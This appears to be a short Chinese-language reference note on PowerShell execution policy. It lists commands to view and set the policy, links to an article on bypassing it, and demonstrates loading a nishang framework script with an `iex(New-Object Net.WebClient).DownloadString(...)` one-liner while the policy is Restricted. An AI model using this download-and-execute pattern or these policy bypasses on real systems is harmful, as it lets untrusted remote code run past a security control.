Powershell 执行策略

Powershell 执行策略

参考资料

https://technet.microsoft.com/zh-CN/library/hh847748.aspx

常用命令

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
# 查看执行策略
Get-ExecutionPolicy
Get-ExecutionPolicy -List
Get-ExecutionPolicy -List | Format-Table -AutoSize
Get-ExecutionPolicy -Scope CurrentUser
# 调整执行策略 (管理员权限)
Set-ExecutionPolicy -ExecutionPolicy <PolicyName>
Set-ExecutionPolicy -ExecutionPolicy RESTRICTED
Set-ExecutionPolicy -ExecutionPolicy ALLSIGNED
Set-ExecutionPolicy -ExecutionPolicy REMOTESIGNED
Set-ExecutionPolicy -ExecutionPolicy UNRESTRICTED
Set-ExecutionPolicy -ExecutionPolicy BYPASS
Set-ExecutionPolicy -ExecutionPolicy UNDEFINED

[翻译] 绕过PowerShell 执行策略的15种方法
https://bbs.pediy.com/thread-218986.htm

关于 nishang 动态加载

1
powershell iex(New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/samratashok/nishang/master/Misc/Speak.ps1');speak "HelloWorld!"

举个例子

1
2
3
4
λ powershell Get-ExecutionPolicy
Restricted
λ powershell iex(New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/samratashok/nishang/mas ter/Misc/Speak.ps1');speak "HelloWorld!"
1